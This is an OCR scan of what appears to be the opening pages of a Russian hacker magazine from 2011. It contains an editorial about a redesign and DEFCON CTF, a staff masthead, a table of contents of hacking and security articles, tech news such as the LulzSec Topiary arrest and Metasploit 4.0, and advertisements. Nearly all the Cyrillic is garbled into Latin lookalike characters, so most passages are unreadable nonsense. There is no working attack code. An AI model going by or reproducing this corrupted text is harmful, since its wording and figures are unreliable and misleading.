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DEFCON.
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BXAKEPCKOM COPEBHOBAHUU DEFCONCTF 2011
BMEPBbIEYYACTBOBAJIAPOCCUACKAA KOMAHJA.
0TOM, KAKOHUTYAANONAJINUKAKOEMECTO
3AHAJIN—OTNEPBOro0JIMLA.
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Samsung

GALAXY ST

Samsung

GALAXY S s

SAMSU

Samsung

CALAXY Ace

CmapTdoHbI

Samsung GALAXY

3aTo4yeHbl noa Teobs!

p- -3
Cepus cmapToHoB Samsung GALAXY l'l
Ha nnatcpopme Android™

Enunas cnyx6a nopaepxku: 8-800-555-55-55 (380HOK o Poccun Gecnnatblit).
www.samsung.com ToBap ceptucmunposaH. Peknama.



HOBbIV [IV13ANH: HA 24 MM
KOPOYE, HA 100% KPYHE!

[ecaTblii no cueTy pefu3aitH KypHana 3alleny Hac 40BOJIbHO aneKo:
BMeCTe CAN3aiiHOM Mbl NOMeHANN U nonunrpaduyeckunin bopmart, napT-
AMpeKTOopa, M AaXke TUN Naka Ha 0bnoxke. YT0y)XX rOBOPUTH NPO CTPYKTYPY
cTaTel ¥ MHOXeCTBO MeSIKUX QULLIEK, KOTOPble Mbl 3ar0TOBWN U 3apAANIN
BMaTepuabl 3TOro HoMepa.

Cpa3sy xo4eTcs 0TBETUTH HA BOMPOC: «3a4eM Bbl YKOPOTUIIM XKYpHaN?».
BcenpocTo: popMaT A4 XxpeHOBO HAM MOAXOAMIT U3-33 HEOMTUMAbHbIX
NPONOPLNIA MeXAY LWMPUHOW M BLICOTO. Tenepb XKypHa BbIFISANT LUMpe U
nyywe npucnocobneH Ans BePCTKN HALLEro KOHTEHTa CKYy4Yen IMCTUHIOB
1 CKpUHWoTOB. [pn3aToM Mory Tebe rapaHTUPOBaTh, YTO B HOBbI MaKeT He
CTaNoBNe3aTb MeHbllUe NHbI: BMECTUMOCTb XXYpHaa 0CcTanach NpexHei
n3-3abonee3apPpekTUBHOro MCNOb30BAHNA MPOCTPAHCTBA.

[loKeH cka3aTb, YTO S IMYHO 1 BCS KOMaHa XXypHaa c HeTepreHn-
eM)K/LeM TBOE peakL v Ha peann3oBaHHble U3MeHeHus. [pofenaHa
bonbwasnpabota, 1, kak Bcerga bbiBaeTBMOJ0OHbIX CIyYanX, HACTYyNNA
BOJIHUTEJIbHbI MOMEHT Npe3eHTal MM M3MeHeHunii n cbopa nepBbix Bre-
YaTneHwuit. Mpowy Tebs NogeNMTbCH C HAMU CBOUMU MbICIIMU: B HALLINX
rpynnax B coLl-ceTsX, Ha caiTe xakep.ru, No 3N1eKTPOHHOW NoYTe, Hy UK
naxe «[loytoit Poccum».

[ipyroe kpyToe cobbiTe aToro mecsiua—npowepwnit DEFCON 19 n
poccuiickas KoMaHaa, KoTopasi BnepBble yyacTBoOBasia B pUHaNbHOM HYacTH
npecTxHoro CTF. YepToBCKW NPUSATHO, 4TO CNOBOCOYETaHUE «pyCCKUe
XaKepbl» HaYNHaeTTenepb accoLNMpoBaTbCsA Ha MeXyHapO4HOM apeHe
He TONbKO C KMbepnpecTynHocTbio, Ho M c whitehat-coobuecTBoM, KoTo-
poe akTUBHO pa3BuBaeTcs B Poccun.

nikitozz, rn.pen.X
vkontakte.ru/xakep_mag
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PEAAKUHA
[naBHbIi peaakTop
Led-pepakTop
Bbinyckarowuii peaakTop

Hukuta «nikitozz» Kncanumn (nikitoz@real.xakep.ru)
CrenaH «step» Unbuh  (step@real.xakep.ru)
Hukonat «gorl» Angpees (gorlum(@real.xakep.ru)

PepakTopbl py6puk

PC_ZONEWUNITS CrenaH «step» Unbut (step@real.xakep.ru)

B3JIOM Mar (magg(@real.xakep.ru)

MALWARE 1 SYN/ACK Anekcangp «Dr. Klouniz» Jlososckuit (alexander@real.xakep.ru)
UNIXOIDn PSYCHO Angpeii «Andrushock» Matsees (andrushock(dreal.xakep.ru)
KOLONHT Hukonatt «gorl» Agpees (gorlum@real.xakep.ru)

PHREAKING Cepre#t CunbHos [poldkumekay.com)

PR-aupekTop Anna Mpuropeesa (grigorieva@alc.ru)

Pepakrop xakep.ru Neonug Boroniobos (xaldreal.xakep.ru)

JluTepatypHblii pefakTop CeeTtnaHa PomuHa

DVD

BbinyckatoLuit peaakTop CrenaH «Step» Unbun (step(@real.xakep.ru)
Unix-pasgen AHTOH «Ant» XykoB (antitster@gmail.com)
Security-pazaen [Omutpuii «D1g1» Esgokumos (evdokimovds@gmail.com)
MoHnTax Bupeo Makcum Tpybuusin

ART

ApT-pupekTop Anvk Baitvep (alik@gle.ru)

Bepcranbuwmk Bepa Ceetnbix

WUnniocTpauus Ha o6noxke Anppeit lopoxuH

AccucreHt [AmuTpunit Panonopt

PUBLISHING

Yupeputenb 000 «[eitmJIaHg», 115280, Mockea,
yn. Jlenmnckas Cnoboga, 19, Omera nnasa, 5 31ax, opuc Ne 21. Ten.: (495) 935-7034, dakc: (495) 545-0906

[eHepanbHbIN AUpeKTOp
FeHepanbHbIN U3faTenb
DuHaHCOBBbII AUpeKTOp
[AvnpekTop no nepconany
JlMpeKTop no MapKeTUHry
[naBHbIV fu3aiiHep
[MpeKTop o Npou3BoOACTBY

PA3MELLEHHUE PEKJIAMbI
Ten.: (495) 935-7034, pakc: (495) 545-0906

PEKJIAMHbIU OTAEN

Dvpekrop rpynnbi TECHNOLOGY ~ MapuHa Komnesa (komlevaldglc.ru)

CTapwme MeHeaXepbl Onbra Emenbsnuesa (olgaeml@gle.ru)
OkcaHa Anexva (alekhina@glc.ru)

[mutpuid ArapyHos
[eruc KanuHuu
Anppeii GaTepkinH
TatbsHa ['ynebckas
Enena Kapkatwapgze
IHam TepHbynn
Cepreit KyyepsiBblii

MeHepxep Enena Monvkapnosa (polikarpova(@alc.ru)
AnMuHucTpaTop WpwHa Bupaposa (birarovalgle.ru)

[lpeKTop KOpNopaTUBHOI rPynNbl  (paboTa C pekaMHbIMY areHTCTBaMM)
Kpuctua Tatapenkosa (tatarenkova@glc.ru)
CaetnaHa Sikosnesa (yakovleva.s(@glc.ru)
Mapbs Anekceesa (alekseevadglc.ru)

OTAEN PEAJIU3ALIMU CNELINPOEKTOB

Menepxep
Crapwuii Tpaduk-MeHepxep

[LupekTop Anekcangap KopeHdenba
MeHepxepbl CsetnaHa Mionnep

Tynurosa Hatanus
PACMPOCTPAHEHUE

[LvpekTop no AUcTpubyLum Kowenesa TaTbsHa (kosheleva@glc.ru)
PykoBoauTens otaenanoanmckn Knenukosa Bukropus (lepikova@glc.ru)
PykoBogutenn
crewpacnpocTpaHeHus Nyknyesa Hatanbs (lukicheva@glc.ru)

MpeTeH3uu U pononHuTeNbHas MHa:

B cnyyae Bo3HMKHOBEHWS BONPOCOB M0 KavecTsy neyatu n DVD-gauckos: claim@glc.ru.
Topsiyasi iMHKA No NoAnucke

(Dakc 4n9 0TNPaBKMU KyMOHOB W KBUTaHLMI Ha HOBble Noanmucku: (495) 545-09-06

TenedoH otaena noan1cky ans xutenent Mockssi: (495) 663-82-77

TenedoH Ans XuTeNei peruoHoB v Ans 3BOHKOB ¢ MOBUNbHbIX TenedoHos: 8-800-200-3-999
[nsnucem: 101000, Mockea, Mnasnoutamt, a/s 652, Xakep

3aperucTpuposaHo B Munnctepctee Poccuiickoit Pefepauyi no fenam neyatu, TenepafmoBeLaHmio v
CpeqAcTBaM MaccoBbIx KoMMyHMKauwit [ 5177-11802 ot 14.02.2002
OtneyataHo B Tunorpaduu Zapolex, Monbiwa. Tupax 219 833 sksemnnsipos.

MHeHme pefiakLum He 0653aTeNIbHO COBNaaaeT C MHeHWeM aBTopos. Bce MaTepuansl B Homepe
npe/ioCTaBARIOTCH Kak NHdOpMaLMs K pasMblLusienuio. JInua, NCnonb3yioLime aHHyIo MHbopMaLio B
NPOTUBO3aKOHHbIX LieNsX, MOrYT 6biTh NPUBAEYEHbI K 0TBETCTBEHHOCTU. PeflakLins He HeCceT 0TBETCTBEH-
HOCTW 3a coflepKaHue peKknaMHbIx obbABNEHNI B HoMepe. 3a nepeneyaTky Hallux MaTepnanos 6e3
cnpoca—npecneayem. Mo BOMpoCaM JIMLLeH3MpoBaHWUA U NOJTy4eHUa NpaB Ha UCnosib3oBaHuWe pefakLUn-
OHHbIX MaTepuasoB XypHana obpatuaiTecs no agpecy: content@glc.ru.

© 000 «[eiim Jlsna», PO, 2011
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MEGANEWS

BceHoBoe 3anocnenHuii MecsL
hackertweets
Xak-cLueHa BTBUTTEpE

FERRUM

MuTtaitTecb npaBunabHO!

TecTupoBaHue bnokos nuTaHus ctaHgapta 80 PLUS Gold
KHurapassneyenuit

3nekTpoHHas khura WEXLER.BOOK T5002

PCZONE

802.22: White Space

HoBbii cTaHpapTbecnpoBofHO CBS3M

WWWw2

Yno6Hble web-cepBuchl

Sqlmap, unn SQL-nHbeKUUN —3TO NPOCTO

OAHa M3 AYHWNX YTUANT LNS NOMCKA M 3KCNNyaTaLum
SQL-ya3BuMocTen

Proof-of-Concept

3anycTtuTb Linux B bpay3epe

KonoHka pepakTtopa

Mpoananus Mansapu

3D-ckaHep3a$30

Kak co3paTb 3D-Mopenb noboro npefMeTa nofpyyHbiMu
cpefcTBamu

PHREAKING

BupeoyaTt HaKonecukax
JenaembropgxeTHoro poboTaTenenpucyTcTeus
33300 gonnapos

B3JIOM

Easy-Hack

XaKepckue ceKpeTbl NPOCThIX BELLE

0630p 3KCcNIONTOB

AHaNN3 cBeXeHbKUX yI3BUMOCTER

DEFCONCTF

OTyeTcxakepckorokoHTecTa usJlac-Beraca

Kak 3akpbIBaloT 60THETbI

OnbITKPYMHBIX KOMNaHWI bopbbbl c kKMbepnpecTynHOCTbIO
MapcuHrno-KpynHomy

[obbiBaeM LieHHY MHOOPMALLMIO C YYXKUX CaNToB
HepoctaTtouyHo npaB? locTaTo4HO

8 npneMoB ans 06xofa rpynmnoBbiX NONUTUK B JOMEHE
TbicsYa M OAMH MHKNYA

MounckysissumocTen knacca local/remotefileinclude
Ha HOBOM YpOBHe

X-Tools

Mporpammsbl Ans B3s0Ma

XAKEP 10/153/2011
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MALWARE

nassna

MacwTabHblvi TposiH SPYEYE nop xakepckM MUKpocKonom
Ba6noHaManBapu

Kak 1 ckonbko 3apabaTbiBaloT HalW KPUMUHANbHbIE Koaneru?

CLIEHA

CrapTanbl, feHbrMuycnex

O poccuiickoii cTapTan-cueHe
VirusFree Man

NHTepBblo c AnekcaHapoM MaTpocoBbIM

KOAUHIr

YHuBepcanbHbiv GUAbTp

HecTtaHpapTHbIficnocob nepexsaTa IRP-nakeToB
finpomno MakuHTOWY

M3yyaem kernel-koguHrnogMac 0S X
JavaScript pnsacepsepa

Muwem cepBep MrHOBeHHbIX coobuyeHunit Ha Node.js
MaTTepH npoekTMpoBaHus «Habnwopatenn»
MopHnMaem OO Ha HOBbLI ypoBEHb

UNIXOID

Pas3annaTka, gBa3annaTka

3ayeM HyXHbl BHApHbIE NaTyy, U KAK UMW MONb30BaTLCS
ToTanbHoe noAYMHEHUeE

MegaFAQ no xaky uMogudvkauyuunAndroid 0S
TykcnokoneHus 3.0

Linuxkernel3.0: 0630p caMblX BaXHbIX HOBOBBELEeHMW A

SYN/ACK

Bopb6a3abesonacHocTb

MU3HEeHHas UCTOPUS 0 MOCTPOEHUM CUCTEMbI

B B oTAENbHO B3ATON KOHTOPE

MoBenutenscetn

0630p MHCTPYMEHTOB N1 pa3BepTbiBaHUA MynpasneHuns Linux
KopnopaTtusHbivi Drupal

[lenaeM kopnopaTuBHbIv nopTan. becnnatHo

IOHUTDBI

FAQUNITED

Bonbwoi FAQ

Auncko

8,5 6 BCAKOM BCAYMHbI
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MEGANEWS

BOJIEE 6452 CANTOB aedeitchyn
TYHUCCKUI XaKep, CKpbiBaloLMiics
noaHukoM The 077 (HamdiHacker).
NpakTuyecku xakepckuii pekopa
MHHecca.

TOPIARY APECTOBAH. MJTM HET?

BBEJINKOEPUTAHWUU, MOXOXKE, OTbICKAJICA OAUH U3 YIEHOB LULZSEC

«BblHe cMOXe-
TeapecToBaThb
npew», —rnacut
nocneAHAs 3an1chL
BTBUTTEpe Topiary.
Hacyp xakep saBuncs
BTEMHbIX 04Kax 1
cHenpo6uBaeMbiM
nokep-¢eiicoM

HUM lesTebHOCTH, MOINLMS OTHIOAb He NepecTana ux uckatb. MogHoro,

noxoxe, gaxe Hawnw. 27 ntona Ha Lletnanpckux octpoBax bputaHckas
nonuuusa npunopnepxke ®bP apecTtoBana 18-neTHero napHsa, KOTOpbINA, N0 UX
LaHHbIM, bl pecc-cekpeTapeM rpynnsl — Ben ux Twitter v ckpoiBancs B Cetunog
HukoM Topiary. HacTosiwee ums npeanonaraemoro xakepa [lxeik flesuc. Moyemy
«npepnonaraeMoro»? [loToMy 4To €10 JOBOSIbHO CTPaHHoe. Konbl yxke NnpeabsaBu-
A napHio 06BMHEHNS B HECAHKLMOHMPOBAHHOM LOCTYMNE K KOMMbIOTEPHbIM CUCTE-
MaM, yqyacTtum Bopranusauynm DdoS-atak n gpyrux npectynnerusx. Takxe nonuuyus
yTBEPXJAET, YTO Ha KOMMbloTepe NoA03peBaeMoro HallIn J0Ka3aTeNbCTBa, BTOM
uyncne 750000 naponeit, koHuaeHLManbHble faHHble opraHunsauun NHS, aTakxe
Habpockmn adepbl cAMNOBOV HOBOCTbIO 0 MepTBOM PynepTte Mepaoke. OfHako ecTb
HekoTopble «HO». Tak, B 6nore LulzSec Exposed Bbicka3blBatoTCs cepbe3Hble CO-
MHEHUS BTOM, YTO 3a/lepXXaHHblii BcaMoM Jlefie uMeeT oTHoWweHne k LulzSec. Bonee
TOro, packonaHbl u ony6aukosatsl (pastebin.com/kfi3Tica) cTpaHHble norw, rae
Topiary npusHaeTcs cobeceHUKY, YTO «O40JKUII» CBOV HUK Y HEKOero bpuTaHuac
ceBepa CTpaHbl, YTOObI MyCTUTL KOMOB M0 IOXXHOMY criefy. [paspa v ato? [Moxoxe,
HeT. [IxeiKk noka oTAyLeH Mo NOAMUCKY 0 HeBble3/e, MOCaXeH Noj AoMallHuni
apecT W BAYYWNX TPaaMLMaX punbMa «Xakepbl» nuweH goctynak CeTu.

m ecMoTpsi HaTo YTo LulzSec'si HelaBHO 06BABMAM 0 poCnycKe U Npekpalle-

|

.'1-—-.-"
HABLACKHAT 2011 U3-3AC501BPABOTE KOJIMYECTBO PYCCKO-
NMPOBEJIMONPOC: Amazon EC2 kpynHeiiwue fA3bIYHbIXAKKAYHTOB

«Anonymousu LulzSec—

canTtbl (Reddit, NetflixuT.a.) B Twitter'e yxe npesbiwaer

1MAH, coobwaeT «AHQEKC».

TADKETONA
MOVCKA KJTIOYEN

HAKOHEL-TOHA KJIO4YXM MOXXHOBYAET NO3BOHUTb!

aBepHoe, C KaXKAblM U3 HAaC X0Tb pa3 NpUKJlOYanach
m TaKas UCTopusA: yTpo, nopa 6exarb, HO Thi IUXOpa-

AOYHO pa3biCKMBaeLlb N0 KBapTUpe CBA3KY KJlO4en,
KoTopasi MUCTUYeCKUM obpasoMKypa-Toucnapunaco. B
Takue MMHYTbl MeyTaellb: «BoT6bisio 6b1 KpyTO, €cniu 6bl Ha
K041 MOXKHO 6b1N10 NO3BOHUTb, KAK HA MOGUNBHUK». MeuTbl
cbbiBatoTca! MoBecuB Ha ko4 BMecTo 6penioka ragxer
CobraTag, paboTatowuii c Bluetoothn GPS, nyctaHoBuB Ha
Mo6unbHbIN Npunoxenune CobraTag, Tbl CMOXellb 3anesieH-
roBaTb nponaxy, rae 6l oHa HM Haxoaunack. Mocne Toro Kak
Thl HA)XKMeLb Ha Napy KNaBuL, 3To 3aMeyaTesbHoe usobpeTe-
HUe noKaxeTTebe cxeMy, KaKk HaNTU KNoYK. TakKe B npuno-
)K€HUM eCTb BO3MOXKHOCTb 3aaTb MaKCMManbHoe paccTossHUe
yOaneHus oT KNlo4en, nocsie npeBbllIeHUs KOToporo TenedoH
nofacT CUrHan M NoKaxer, rae oHM HaxoaaTcsa. Ho 3awuTa
[BYXCTOPOHHSASA: CKNIOYe MOXHO Y3HaTb, rae TenedoH, unu
KJI0YM MOTYT NPOCUTHANM3npoBaTh, ecnuTenedoH BApyr
HayHeToTHUXyAanaTbcA. Cornacuch, C TaKMMyCTPOCTBOM
LIAHChI CTaTh XXEPTBOM KAPMaHHMKA UM HENPUATHOMN cnyyYain-
HOCTM YMeHbLatoTcsa. Tenepb ocTanocb NpMAyMaTh YTO-TO
nopobHoe ansinoncka HockoB. KcTaTu, LeHa 3Toro 3amMeya-
TenbHOro feBaiica coctaBnseTBcero 60 gonnapos!

PayPal

30JIETUCMOJIHUNOCH MS-
DOS'Y —nereHpapHoii guc-
KOBOW ONnepaLoHHON cucTeMe
koMnaHum Microsoft. Takxe 30

PAYPALHE PA3PELUMT
poccuitckuM nonb3oBaTe-
NAMNPUHUMATB NIATEXK B

repou UM Heroaamn?».

36 % 0TBETUAK, 4TO NAPHU —
repou, 3aTo 64 % yBepeHbl,
YTO OHM NPECTYMHUKHU.

He paboTtanu bonee 30 MUHYT.
Okasanochb, B AaTa-LeHTp
AmazonnonanaMonHus!Bor

Tebe mobnaka. Te4yeHue gHs.

OpHako nuWb 6,4% U3 HUX
NULWYTB CBOW MUKpoborB

neTHasap, 12aBrycra
1981r., 66121 BbINYLLEH KOM-
nblotep IBMPC5150.

6nuxanwem byaywem! 3ass-
NeHune 0 TaKoi BO3MOXHOCTH

uony6nnkoBaHHble ycnoBus

npusHaHbl ownbKoi! YBbI.

XAKEP 10/153/2011



Xotute
6o/sibLLEe
KJINeHTOB?

OHuM yxe nlyT Bac Ha Google!

MNonckom Google exxemecAyHO noab3yeTca 70% ayanTopuwn PyHeTa”. CepBic kOHTEKCTHOMA
pexnaMpl Google AdWords paaMellaeT pexnamiblie oDLAENEHWA PRAOM C PE3YNETaTaMK NOMCKOBBIX
3anpocos Nonk3osatenei. Tam Mx CMOTYT yBUAETL Baluw NoTeHUManbHLe KNMeHTs), koraa ByayT wokaTk
MHHOPMALWID O BaWWX TOBapax Wan yenyrax

HauHuTe pexnamupoBaTbca Ha Google NpAMO CErogHA: NPOCTO NOIBOHMTE, ¥ Mbl BECNNETH.
MOMONEN CO3AITHL BalUy NEpBYD pekriamHyo kannadwo B Google AdWords

N B 495 780-00-22 (gna Mockesl) Ml pabotaem no ByaHsam ¢ 9:00 no 20:00
& 8800 100-46-64 (gna pervoHoB) (MO MOCKOBCKOMY BpEMEHW)

MonyunTte nogapoYHelil ceptugukat Ha 1000 pybneil Ha NepBYI0 PeKaMHYI0 KaMNaHWID
B Google AdWords Ha www.google.ru/adwords/xakep

* Mo ganHwM [psas MediaCT, oxTREpe-qekabpe 2010 GO gle !E’ldWDrdS



MEGANEWS

BCEPBUCE MUKPOBJIOIOB TWITTER'AnosiBunuch nonb3oBaTenbckue poTtoranepen. Konew Twitpic.com unpounm cepeucam.

HOBbI METASPLOIT

KOMMNAHUAHDMOORBbINYCTUJIAHOBYO BEPCUIO CBOEIO
3HAMEHUTOrO UHCTPYMEHTAPUSA

= = = == I k.
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aBryctakomnanus Rapid7 obbsBuna o fonroxgaHHoM

penwuse Metasploit Framework 4.0. 374 ln Myp n cotoBa-

PULLM He YacTo padytoT Ny6nKy HOBbIMU BEPCUSIMU, Ha-
npumep, Bepcus 3.0 Bbilwna B ganekom Mapte 2007 r.! PasymeeTtcs,
AaHHast HOBOCTb CO3/aa HeMarblil @XXMOTax B Kpyrax cneyuani-

CTOBMOKOMMbloTepHOM besonacHocTu. Ecnv paHblie 0oCHOBHO 7 1 6
uenbto Metasploit'a 661710 NONYYNTH LWE HA YA3BUMON MALLUHE, TO

Tenepb NOAX0L HEMHOro noMeHsncs. BMetacnnountbbinu gobas- JKcniontos
NeHbl LeCATKM PasInyHbIX BCNOMOraTesbHbIX MOLY e, a Tak ke 361

bonee 200 Mopynent, npefHasHayveHHbIX AN cbopa pasnunyHoro

BCNOMOraTeNbHbli

poaaAaHHbix o Lenun. Bes cobpaHHas HpopMaL s MoxXeT bbiTb Moaynb

coxpaHeHaBB/[]. OcobeHHO aBTOpbI aKLeHTUPYIOT BHUMaHWE M Ha
ToM, 4To Metasploit Framework 4.0 ctan kyna 6onee nnacTuyex no 6 8
cpaBHeHuo ¢ 3.x-BepcusmMu. B HoBoW Bepcumyaennan BHUMaHne

Moaynen ansi Bbl-
1 WMPOKOMY pacnpocTpaHeHuto TexHonornin DEPUASLR. padu- NoNHeHNs onepaumii
yeckyto obonoyky msfguinepenucanu c GTKHa Java, nodukcunm nocneycnewHoun
o akcnayaTauuu
barnupaxe Hapucosanu Hobl ASCII-6aHHep. OfHako, rosopsio BXOAST COMYacE
barax, HeNb3s He 3aMeTuTb, YTo B 61ore Rapid7 yecTHo coobuiaeT- naketMetasploit.

csl, yTo HekoTopble duwku Metasploit4.0 ewe TonbKo NpeacTouT KonMetasploit'apac-
npocTpaHseTcsinoa

[ofienaTh, ayacTb yHKLMOHaNa NoKajanekaoTnaeana.BuenoM  nuyensuein BSD
BCE 3TO BbIMAANT LOBOSIbHO CTPAHHO M HABOAMT Ha Mbic/W, 4To Myp
11 COTOBApPULLY HEMHOTO MOTOPOMMUNCH C PENIN30M.

GOOGLEMOKYNAETMOTOROLA
(MobunbHoe noapaspene-

HUe KoMnaHum)3a12,5mMnpg
nonnapos. TakKaK oTAeNeHne
Motorola Mobility 3aHuMaeTcs
BbIMYCKOM MOBUINbHbIXTeNe-
($oHoB U CcMapT(OHOB, NOKYNKA
obecneynTBeNUKONENHYIO NOA-

«0OCOBOE MHEHNE»
B XN3Hb

COOTHAYYUNCANPEACKA3bIBATb MPECTYNJIEHUA

LUBUTENbHBIM M HEBEPOSATHLIM 3aHUMAIOTCS NONULEN-
y CKMe 3 amepuKkaHckororopoaa Canta-Kpys (wrat

KanndopHws). TaM Ha npakTyKe NPUMEHUIN HOBELLYIO
pa3paboTKy—nporpammy, CnocobHyto npeackasbiBaTb, KOrAa v
rfe A0SKHO COBEPLUNTLCS NpecTynienune, byabTo KBapTUpHas
Kpaxa ManyroH MalmnHbl. Ha caMoM fie e HUKaKoM Maruv 3nech,
KOHeYHO, HeT. BonwebHbIN, Ha nepBbIn B3rnsa, copTco3faH
rpynnoiy4eHbiX, B KOTOPYH BOLLMW fIBa MaTEMATMKA, aHTPOMNoor
U KpuMuHonor. MeToavka paboTbl NporpamMMbl NOYTY @aHaNorMyHa
MEeTOAVKE pacyeTa Cuibl 0CTaTOYHbIX MOA3EMHbIX TOIYKOB MOCe
3emneTpsiceHnin. PaspaboTka onvpaeTcs Ha cTaTuCTUYeckne
[laHHble 3aNoCcefiHVe BOCEMb JIET, aHANIM3UPYET X, CONOCTaBASA-
€TV HaNXOCHOBE reHepupyeT NPOrHO3 0THOCUTENIbHO Hanbonee
BEPOSTHbIX MECT ¥ BPEMEHW COBEPLLEHUS NPECTYNNEHUN B OyAY-
weM. MpuyeM NporHo3bl exefHEBHO KOPPEKTHUPYIOTCS CO0Bpa3Ho
HOBbIM flaHHbIM. Kak Hi cTpaHHo, 3To paboTaeT. «[TporpaMmayxe
nomornaoduuepamnpefoTBPaTUTb HECKOIBKO NPeCTYNNeHui
11 COBEPLIMTL NATH aPECTOB», — 3asBUA M3faHuio «Hblo-Mopk
TalMC» aHaNUTUK KPUMUHAbHOro oTAeNa nonuuun 3ak PpeHp.
Tenepb Komnbl 3apaHee BbIe3)XXaTHa MeCTa, rAe BEPOSTHOCTb
coBepLUeHUs NpecTynneHns Hanbonee Boicoka. Mo cnoBam Bce
Toroxe PpeHpa, «nepBble pesybTaTbl BNeYaTnaioT: B uione
KonMYyecTBO OrpabneHnin CH3UNoCk Ha 27 % no cpaBHEHMIO C aHa-
NOTUYHBIM MecsiLEeM NPOLLOro rofa». AHasorMYHYy TEXHOOT U0
CKOPO NAaHUPYIOTBHeApUTb U B Jloc-AHfKenece.

AepPXKyMobunbHoii 0C Android.
3aBepwuTh CAENKY NNaHupyeT-
caBKoHUe 2011 —Havane 2012
rr.Moppaspenexue Motorola
CTaHeTKpynHe#hwMUMnpuobpe-
TeHueM Kopnopauum Google.
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BbILWJIABETA-BEPCUSA
FIREFOX7anaNKu
ycTponcTB HaAndroid.
HoBasiBepcusiucnonb3syeTHa
20-50% MeHblue naMATH, YeM
eenpeplecTBEHHULbI.

%/.BCEXPYTKUTOB xusyTt
Ha MaluMHax noj ynpaBneHu-
eMWindows XP, panoptyet
Avast. 74% 3apaxeHu 66110
HalfieHo MMEHHO Ha KOMMbIo-
Tepax ¢ «XpIoLWKon».
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MEGAN EWS 83% 0T BCEXM0JIb30BATEJIEN GOOGLE+ SBNSAOTCA HeaKTUBHBIMM, CO06LLaeT KOMNaHUS Bime Analytics.

SAMSUNG GALAXY XCOVER

«FYIJI0®0H», CKOTOPbIMXO0TbBOrOHb, X0OTb BBOAY

TO BPEMS KaK NpuaaBKku
MarasuHOB OKKYNUPOBaHbI
cMapThoHaMu, KOMMYHMKa-

TOpaMu U naaHWeTaMm BCeX MacTew,

MHOTUWE N3 HaC UCMbITbIBAOT TNy

HOCTaNbrnio No «HeybuBaeMbIM» MO-

6unbHUKaM. He 3Hato, Kak Tebe, a HaM

Nopo UCKPEHHE He XBaTaeT CTaporo

EricssonR310s caHTeHHON «akynui

nnaBHUK». ABbln Befb elle 3amMeda-

TenbHbI Siemens ME4A5... 3Tnanna-

paTbl BCMOMUHATCA C TaKON TUXOA

pPafocTbio, MOTOMY YTO COBPEMEHHbIE
cMapThOHBbI, yBbI, LITYKa A0BOJbHO XPYnKas: 04UH HEOCTOPOXXHbIN yAap, U yXe 3aMeHa
cTekna. OAHO NafieHne, M NOYTU rapaHTUPOBAHHbIA BU3WUT B CEPBUC, e, BEPOSTHO,

NpUAETCH 0CTAaBUTb HECKOJbKO ThICAY. TaKoe NOI0XKEHUE BELLel HE yCTPauBaeT MHO-

rMX NI0AeN, a nopoi M BOBCE CTAHOBUTCS pellatolnM ¢akTopoM, 0CTaHaBIMBAOLUM

YyenioBeka oTnokKynku. Ho cerofiHs Ha ynuLe NOKIOHHUKOB NPOYHON TEXHWUKMW Npa3a-

HWK. KoMnaHus Samsung 06bsBKAa 0 TOM, YTO pacluMpsieT CBOIO INHENKY CMapTdo-

HoB Ha 6ase Android'amMogenbio Galaxy Xcover (GT-55690) B 3aLiWLLLEeHHOM OT BHELIHWX

BO34eicTBuMii Kopnyce. HoBWHKa cooTBeTcTBYeTTpeboBaHuamM ctangapTa P67, 4to

Ha YyeNoBeYECKOM 3bIKe 03HaYaeT MOJIHYI0 MblJIEHENPOHNLAEMOCTb, YCTONYMBOCTb K

nafeHunsM 1 Aaxe BO3MOXHOCTb MOrpyXeHWs annapaTa Ha rnybuHy no 1 MBTedeHune

nonyyaca. 3ameuy, 4To 40 HelaBHero BpeMeHm B IMHEKY Xcover BXOAUIN MWL b

caMble NpoCTble yCTPOWCTBA, 0AHAaK0 Samsung peLuuns nepecMoTpeTh CBOKO MOAUTUKY

BOTHOLUEHUM CEpUN.

Galaxy XcoveraTo caMblii 4TO HU Ha eCTb NoJHOLEeHHbI cMapTdoH c OC Android 2.3

Gingerbread Ha 6opTy. [pu BCeli cBOEN «HEYOMBAEMOCTH» HOBMHKA 0CTaeTCs BECbMa

n3salHon, ee Bec paseH 135, aTonwuHa coctasnset 12 Mm. [lnaroHans gucnnes

cocTaBnseT 3,65 A0MMOB, M OH LOMOJIHUTENIbHO 3aLLMLLEH YCTONYMBLIM K LLapanuHam
3aKafileHHbIM CTEKJIOM, KOTopoe B4—5pa3 npoyHee 0bbiyHoro. BHyTpu Galaxy Xcover'a

MOXHO 06HapyXuTb NpoLeccop c TakToBoW YacToTon 800 Ml 150 M6 dnew-namsatu,

CNoT AAs KapT namaTv dopmata microSD, 6ecnposopHble agantepbl Wi-Fi802.11nu

Bluetooth 3.0, mogyns GPSunnoppepxky ctaHfapta HSPDA. Takxe npucyTcTByOT

KaMepa Ha 3 Meranukcena, OCHallleHHas CBETOAMOAHON BCMbILLKOM (ee MOXKHO 1C-

noib30BaTh B KadecTse poHapuka), FM-paamno, USB 2.0, 3,5-ayanopasbem 1 [0BO b~

Ho eMKuii akkymynsaTop 1500 MAY.

Kcoxanenuto, nokamogenb Galaxy Xcover aHoHcrpoBaHa TobKo ANs fepMannmn n
LLIBeunn, rae Havano Npofax HaMeyeHo Ha OKTAbpb-HOSBpb TeKyLero rofa. Kak bynet
06cTOATH 1810 C APYrMMU CTPAHaMU, NoKa He sicHo. OaHako u3BecTHo, yTo B LLBeunmn ueHa
cMapTdoHa cocTaBuT 2800 LUBEACKMX KPOH, 4TO paBHO NpuMepHo 12,7 Tbic. pybnei.
Tak)Ke X04eTCs 3aMeTUTh, YTO 3alMieHHbIx annapaToB Ha Android’e BoobLue He-
MHOr0. M3 f0CTOMHbIX aNlbTepHATVB MOXKHO Ha3BaTb pa3Be 4To Motorola Defy v Sony

. . ) Samsung Galaxy Xcover ocHaleH npunoxeHussMu Samsung Social Hub, cnomowbio
Ericsson XperiaActive. KOTOPbIX MOXHO 061LaThCsl CKEMYToAHO, NOMb3YACh eANHBIMYA06HBIM MHTEpdecoM

XPMOTUXOHbKY CAAETNO3ULIUN

BMEPBbLIE 3A BCIO ;
UCTOPUIO HABJIIOAEHUM
A0JIA WINDOWS XP HA
PbIHKE YNAJIA HUXE
OTMETKWU 50% U TENEPDb
COCTABNAET 49,69%
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B uHTepHeTe faBHbIM-AaBHO chOPMUPOBaH
YepHbI PbIHOK MepCOHabHbIX JaHHbIX

OYEM?

M KPUMMHANbHbIX ycnyr. KynuTb MOXHO
NPakTUYeCKy BCe, NpUYEM fielleBo!

TekcToBas MHdopMaLus
0baHKoBCKOW KapTe.

DDoS caitToB u cepBrcoB
(scyTku).

Pernctpaums Ha3akpbiTom popyme.
